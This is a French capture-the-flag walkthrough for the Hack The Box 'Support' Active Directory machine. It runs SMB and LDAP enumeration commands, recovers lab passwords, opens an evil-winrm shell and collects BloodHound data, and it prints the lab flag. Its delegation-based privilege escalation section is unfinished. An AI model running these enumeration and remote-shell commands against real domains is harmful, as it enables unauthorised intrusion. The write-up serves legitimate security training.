Hack The Box Walkthrough - Support¶
Machine ciblée : SUPPORT.
Répertoire : /home/kali/support
Temps passé dessus : 4x3h
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="support"
repository="/home/kali/$name"
ip="10.10.11.174"
cd $repository || mkdir $repository && cd $repository
grep "$ip $name ${name}.htb" /etc/hosts >/dev/null || echo "$ip $name ${name}.htb" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap -Pn -A -T5 -p - -oN $repository/full $ip
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-11 07:39 EDT
Nmap scan report for dc.support.htb (10.10.11.174)
Host is up (0.071s latency).
Not shown: 8338 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-11 11:40:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.86 seconds
On voit ici que nous avons les ports 389, 636 qui nous indique un LDAP. Après analyse de celui-çi grâce à l’option -sV, on sait qu’il s’agit d’un serveur Active Directory… Ce qui signifie que des partages sont présents ! On aperçoit en effet les ports 445 qui sont associés à smb. En parallèle, il est possible d’envoyer des requêtes de découverte de l’AD avec kerbrute. Ça ne sera pas vraiment utile, mais c’est une bonne étape de reconnaissance en général. WADComs montre également quelques style d’attaque contre du Windows/de l’Active Directory.
On en profite pour rajouter les infos du domain dans le fichier hosts :
echo $ip support.htb dc.support.htb >> /etc/hosts
Phase 2 : Analyse¶
Le service SMB¶
Jetons un œil au service smb : N.B : cette recherche est également faisable avec smbclient
┌──(kali㉿kali)-[~/support]
└─$ smbmap -u 'guest' -p '' -H $ip #mettre les 2 options permet d'eviter d'envoyer nos creds (ex : Workgroup/Kali)
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
support-tools READ ONLY support staff tools
SYSVOL NO ACCESS Logon server share
Dans la liste, on remarque un partage anormal sur un Active Directory : support. On va regarder
┌──(kali㉿kali)-[~/support]
└─$ smbmap -u 'guest' -p '' -H $ip -R support-tools
Disk Permissions Comment
---- ----------- -------
support-tools READ ONLY
.\support-tools\*
dr--r--r-- 0 Tue Oct 11 07:29:50 2022 .
dr--r--r-- 0 Tue Oct 11 07:29:09 2022 ..
fr--r--r-- 2880728 Sat May 28 07:19:19 2022 7-ZipPortable_21.07.paf.exe
fr--r--r-- 5439245 Sat May 28 07:19:55 2022 npp.8.4.1.portable.x64.zip
fr--r--r-- 1273576 Sat May 28 07:20:06 2022 putty.exe
fr--r--r-- 48102161 Sat May 28 07:19:31 2022 SysinternalsSuite.zip
fr--r--r-- 277499 Wed Jul 20 13:01:07 2022 UserInfo.exe.zip
fr--r--r-- 79171 Sat May 28 07:20:17 2022 windirstat1_1_2_setup.exe
fr--r--r-- 44398000 Sat May 28 07:19:43 2022 WiresharkPortable64_3.6.5.paf.exe
Le fichier UserInfo¶
On continue sur l’intuition : on trouve un fichier UserInfo.exe.zip. Autant regarder ce qu’il vaut !
┌──(kali㉿kali)-[~/support]
└─$ smbmap -u 'guest' -p '' -H $ip --download support-tools\\UserInfo.exe.zip
┌──(kali㉿kali)-[~/support]
└─$ unzip ${ip}-support-tools_Userinfo.exe.zip -d $repository/UserInfo
┌──(kali㉿kali)-[~/support]
└─$ ls $repository/UserInfo
CommandLineParser.dll Microsoft.Extensions.Logging.Abstractions.dll System.Runtime.CompilerServices.Unsafe.dll
Microsoft.Bcl.AsyncInterfaces.dll System.Buffers.dll System.Threading.Tasks.Extensions.dll
Microsoft.Extensions.DependencyInjection.Abstractions.dll System.Memory.dll UserInfo.exe
Microsoft.Extensions.DependencyInjection.dll System.Numerics.Vectors.dll UserInfo.exe.config
┌──(kali㉿kali)-[~/support]
└─$ file $repository/UserInfo/System.Runtime.CompilerServices.Unsafe.dll
support/qwer/System.Runtime.CompilerServices.Unsafe.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
┌──(kali㉿kali)-[~/support]
└─$ cat $repository/UserInfo/UserInfo.exe.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
</startup>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
</assemblyBinding>
</runtime>Elles
</configuration>
┌──(kali㉿kali)-[~/support]
└─$ strings $repository/UserInfo/UserInfo.exe
[...]
set_AppName
get_UserName
set_UserName
get_LastName
set_LastName
get_FirstName
set_FirstName
username
[...]
LdapQuery
query
DirectoryEntry
entry
[...]
Cette étape peut également se faire en décompilant le code source. Pour cela, utiliser un IDE qui gère le C# ou alors le site https://www.decompiler.com/. C’est très intéressant a faire afin de comprendre comment ces derniers ont offusque le mot de passe du compte.
On voit donc qu’il s’agit de fichier DLL et d’un fichier exe pour Windows. Le fichier exe semble appeler différentes commandes dont 1 LdapQuery … Ce qui signifie qu’il y a sans doute une connexion LDAP qui s’effectue avec ce logiciel, voyons voir :
┌──(kali㉿kali)-[~/support]
└─$ wireshark -i tun0 & #Je sais pas si ça marche, ce qui compte c'est que le wireshark tourne sur l'interface tun0 pour voir la co. Lancer a la main, ça fonctionne aussi bien.
#si mono n'existe pas sur votre machine : sudo apt install mono-complete
┌──(kali㉿kali)-[~/support]
└─$ mono $repository/UserInfo/UserInfo.exe
Usage: UserInfo.exe [options] [commands]
Options:
-v|--verbose Verbose output
Commands:
find Find a user
user Get information about a user
┌──(kali㉿kali)-[~/support]
└─$ mono $repository/UserInfo/UserInfo.exe find -first toto #On découvre le -first a l'aide de la doc.
[-] Exception: No Such Object
On voit ici la requete passer sous wireshark :

Nous voici donc avec le mot de passe du compte support\ldap bien que difficilement remarquable …
La recherche LDAP¶
Nous voici donc avec le mot de passe du compte support\ldap. Ce dernier étant capable de faire des requêtes LDAP, on va en profiter :
┌──(kali㉿kali)-[~/support]
└─$ ldap_ldap_username="support\\ldap"
┌──(kali㉿kali)-[~/support]
└─$ ldap_ldap_password='nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
┌──(kali㉿kali)-[~/support]
└─$ ldapsearch -D $ldap_ldap_username -w $ldap_ldap_password -H 'ldap://support.htb' -LLL -b "DC=support,DC=htb" (|("objectClass"="user")("objectClass"="computer")) distinguishedName memberof Description sAMAccountName
dn: CN=Administrator,CN=Users,DC=support,DC=htb
description: Built-in account for administering the computer/domain
distinguishedName: CN=Administrator,CN=Users,DC=support,DC=htb
memberOf: CN=Group Policy Creator Owners,CN=Users,DC=support,DC=htb
memberOf: CN=Domain Admins,CN=Users,DC=support,DC=htb
memberOf: CN=Enterprise Admins,CN=Users,DC=support,DC=htb
memberOf: CN=Schema Admins,CN=Users,DC=support,DC=htb
memberOf: CN=Administrators,CN=Builtin,DC=support,DC=htb
sAMAccountName: Administrator
dn: CN=Guest,CN=Users,DC=support,DC=htb
description: Built-in account for guest access to the computer/domain
distinguishedName: CN=Guest,CN=Users,DC=support,DC=htb
memberOf: CN=Guests,CN=Builtin,DC=support,DC=htb
sAMAccountName: Guest
dn: CN=krbtgt,CN=Users,DC=support,DC=htb
description: Key Distribution Center Service Account
distinguishedName: CN=krbtgt,CN=Users,DC=support,DC=htb
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=support,DC=htb
sAMAccountName: krbtgt
dn: CN=ldap,CN=Users,DC=support,DC=htb
distinguishedName: CN=ldap,CN=Users,DC=support,DC=htb
sAMAccountName: ldap
dn: CN=support,CN=Users,DC=support,DC=htb
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
sAMAccountName: support
dn: CN=smith.rosario,CN=Users,DC=support,DC=htb
distinguishedName: CN=smith.rosario,CN=Users,DC=support,DC=htb
sAMAccountName: smith.rosario
#[... De nombreux autres utilisateurs dont on s'en fout un peu.]
Si t’as directement trouvé la piste, j’applaudis à 2 mains; t’es bien meilleur que moi … On peut voir ici 2 trucs : il y a un seul compte disposant des droits d’administrations complets : Administrator, mais un autre compte peut se connecter aux machines ! il s’agit du compte support qui est membre des groupes Shared Support Accounts et Remote Management Users Petite recherche sur google, on tombe sur les informations qui vont bien :
Members of the Remote Management Users group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user. The Remote Management Users group is generally used to allow users to manage servers through the Server Manager console, whereas the WinRMRemoteWMIUsers_ group is allows remotely running Windows PowerShell commands.
Si seulement on pouvait avoir son mot de passe …. A moins que …
┌──(kali㉿kali)-[~/support]
└─$ ldapsearch -D $ldap_ldap_username -w $ldap_ldap_password -H 'ldap://support.htb' -LLL -b "DC=support,DC=htb" "cn"="support"
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20221011062420.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 81994
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 133099668996339800
lastLogoff: 0
lastLogon: 133099670650403676
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: support
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111201.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 133099430608239198
Vous l’avez ? il s’agit cette fois-ci du champs info qui nous donne le mot de passe d’un utilisateur qui peut se connecter sur la machine.
┌──(kali㉿kali)-[~/support]
└─$ ldap_support_username="support\\support"
┌──(kali㉿kali)-[~/support]
└─$ ldap_support_password="Ironside47pleasure40Watchful"
┌──(kali㉿kali)-[~/support]
└─$ evil-winrm -i $ip -u $ldap_support_username -p $ldap_support_password
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents> cat ../desktop/user.txt
6481552c4a0688542c434a6713516328

Première danse de la victoire !On peut donc passer a la phase de reconnaissance en tant qu’utilisateur du domaine.
Phase 3 : User¶
Qui dit Active Directory dit en général BloodHound. Cet utilitaire en Neo4j n’est plus a présenter … Mais à installer. Pour cela, suivre la fiche sur BloodHound.
Une fois ce dernier lancer, il faut collecter les informations pour faire ses graphiques. Étant sous une Kali, je me suis tourné vers BloodHoundPy.
┌──(kali㉿kali)-[~/support]
└─$ ~/Tools/BloodHound --no-sandbox
┌──(kali㉿kali)-[~/support]
└─$ bloodhound-python -d support.htb --zip -c All --dc dc.support.htb --ns $ip -u $ldap_support_username -p $ldap_support_password
INFO: Found AD domain: support.htb
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 21 users
INFO: Found 53 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Management.support.htb
INFO: Querying computer: dc.support.htb
INFO: Done in 00M 17S
INFO: Compressing output into 20221011104156_bloodhound.zip
Pour importer le fichier zip, il suffit de drag and drop le fichier sur l’interface de BloodHound.

Une fois importer, on peut commencer a fouiller :

L’objectif étant de trouver un lien bizarre entre quelque chose que l’utilisateur support possede et le DC ou le domaine. Et cela se trouve ici :

Cette fois-ci, vous l’avez ? Il faut se souvenir que notre compte support est membre du groupe Shared Support Accounts. Ce groupe la dispose d’un droit Generic All sur le serveur dc.support.htb. Un clic droit sur le lien permet d’avoir information sur comment abuser du lien.
Phase 4 : Élévation de privilège¶
Explication de S4U2Self (à compléter)¶
Pour cela, il faut déjà télécharger chacun des outils sur le site adéquat puis les pousser sur la machine à l’aide de la commande upload d”Evil-Winrm. Une fois cela fait, il est temps de commencer l’élévation de privilège.
Le principe est assez « simple » en pratique mais compliqué en théorie. Étant donné que nous sommes dans le groupe Shared Support Accounts, on a le droit de modifier ce que l’on veut sur la machine DC.support.htb. Si cela avait été une machine normal, nous aurions pu être administrateur de la machine. Seulement, sur un serveur Active Directory, être admin de la machine revient à être admin du domaine ==> T’as gagné, t’as les pleins pouvoir et tu peux faire ce que tu veux sur le parc. Pour cela, on va dire modifier l’objet LDAP du DC pour lui dire qu’il a confiance absolu en une autre machine. Ensuite, l’autre machine va tenter de se connecter.
Déroulé de l’attaque (à compléter)¶
La phase d’élévation de privilège va demander différents outils. Il faudra, pour la partie Windows :
PowerMad : Cet outil permet de créer une nouvelle machine en utilisant le MachineAccountQuota que n’importe quel utilisateur peut exploiter.
PowerView : Cet outil permet de faire de la reconnaissance plus poussée sur l’Active Directory.
Rubeus : L’outil Windows pour exploiter Kerberos (Vous l’avez ? Rubeus Hagrid qui s’occupe de Cerbère ?)
Et voilà, vous êtes maintenant connecté sur le serveur DC en tant qu’Administrateur. On peut récupérer le flag, et ranger ses affaires.